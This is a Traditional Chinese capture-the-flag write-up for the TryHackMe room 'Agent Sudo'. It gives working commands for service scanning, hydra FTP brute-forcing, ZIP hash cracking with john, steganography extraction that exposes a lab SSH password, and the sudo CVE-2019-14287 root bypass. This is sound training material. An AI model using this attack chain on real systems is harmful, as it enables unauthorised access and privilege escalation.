TryHackMe Agent Sudo writeup (zh-TW)

題目資訊
- 平台: TryHackMe
- 房間名稱: Agent Sudo
- 難度: Easy
- 目標: 一連串的挑戰
- 主題: 情報人員
- 連結: https://tryhackme.com/room/agentsudo
發現服務
nmap -sC -sV -Pn 10.201.103.23
結果
- 21/tcp FTP
- 22/tcp OpenSSH
- 80/tcp Apache httpd
Step 1: HTTP 線索
說明:首頁 index.php 會依 User-Agent 分支;題目提示「用 C」。
curl -I -H "User-Agent: C" http://10.201.103.23/index.php
# 302 → Location: agent_C_attention.php
重點訊息(精簡)
- 指名 chris
- 請轉告 agent J
- 密碼很弱
結論:很可能有帳號 chris,且密碼弱;亦可能有 james/agentJ 之類使用者。
Step 2: FTP 枚舉與嘗試登入
先確認是否 anonymous;若不可,針對 chris 做弱密碼測試。
以 rockyou 暴力破解
hydra -l chris -P /usr/share/wordlists/rockyou.txt -f -I ftp://10.201.103.23
就拿到ftp的登入密碼
Step 3: 影像與隱藏檔
在ftp目錄可拿到 cutie.png,對該檔跑 binwalk:
binwalk -e cutie.png
# 會看到
# 0x365 Zlib compressed data
# 0x8702 ZIP archive data, name: To_agentR.txt (AES Encrypted)
說明
- 有 AES 加密 ZIP(To_agentR.txt),需字典破解(zip2john/hashcat or john)
用John來破解zip file的密碼:
# 建 hash
zip2john _cutie.png.extracted/8702.zip > zip.hash
# 用 rockyou 爆
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
# 爆出來後看明文密碼
john --show zip.hash
這邊解出密碼後,馬上解壓縮.zip,可以拿到一個To_agentR.txt,
7z x -palien 8702.zip
內容中的QXJlYTUx
是 Base64 → 解碼成 Area51,可作為後續另一個圖片的隱寫術密碼
Step 4: 取得 SSH 存取
依zip中解出的.txt檔案,利用"Area51"解碼成功cute-alien.jpg隱藏的檔案,拿到james的ssh登入密碼
└─$ steghide extract -sf cute-alien.jpg -p Area51
wrote extracted data to "message.txt".
└─$ cat message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
連線
ssh [email protected]
確認使用者目錄
ls -la
# 可見 Alien_autospy.jpg 與 user_flag.txt
cat user_flag.txt
Step 5: OSINT 小題
登入james的ssh取得 Alien_autospy.jpg,題目會問照片事件名稱,可以利用scp下載到本機之後,打開圖片,後來用Google image search去找到下面的這個新聞
Filmmaker reveals how he faked infamous ‘Roswell alien autopsy’ footage in a London apartment
A hoaxer has revealed how he faked an “alien autopsy” using animal organs and pig brains – and managed to fool the world for over a decade.

Step 6: 權限提升偵察
sudo -l
# 類似輸出:
# User james may run the following commands on agent-sudo:
# (ALL, !root) /bin/bash
這是已知繞過洞(sudo CVE-2019-14287)。
Step 7: 提權
說明: 以 UID -1(轉成無號整數)執行,bypass 目標限制。
sudo -u#-1 /bin/bash -p
id; whoami
成功後拿 root 旗子
cat /root/root.txt
技術要點
User-Agent 梗
以 curl 測 UA 是最快方式,若用瀏覽器,裝 UA switcher 直接改成 C。
binwalk 與雙層藏檔
- AES ZIP 需用 zip2john/hashcat 破解
- 看到「Method = AES Encrypted」時,fcrackzip 不適用
提權洞
sudoers 出現 (ALL, !root) /bin/bash
時,直接用:
sudo -u#-1 /bin/bash -p
對應 CVE-2019-14287。
經驗分享
關於Step 3、Step4:
同樣可以利用stegseek這個工具,找到cute-alien.jpg的隱寫密碼
└─$ stegseek cute-alien.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "Area51"
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".
└─$ cat cute-alien.jpg.out
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
關於Step 5:
使用strings、exiftool在靶機都沒有方法,就索性放到本機查看,也才發現是一個OSINT的題目!
scp [email protected]:~/Alien_autospy.jpg .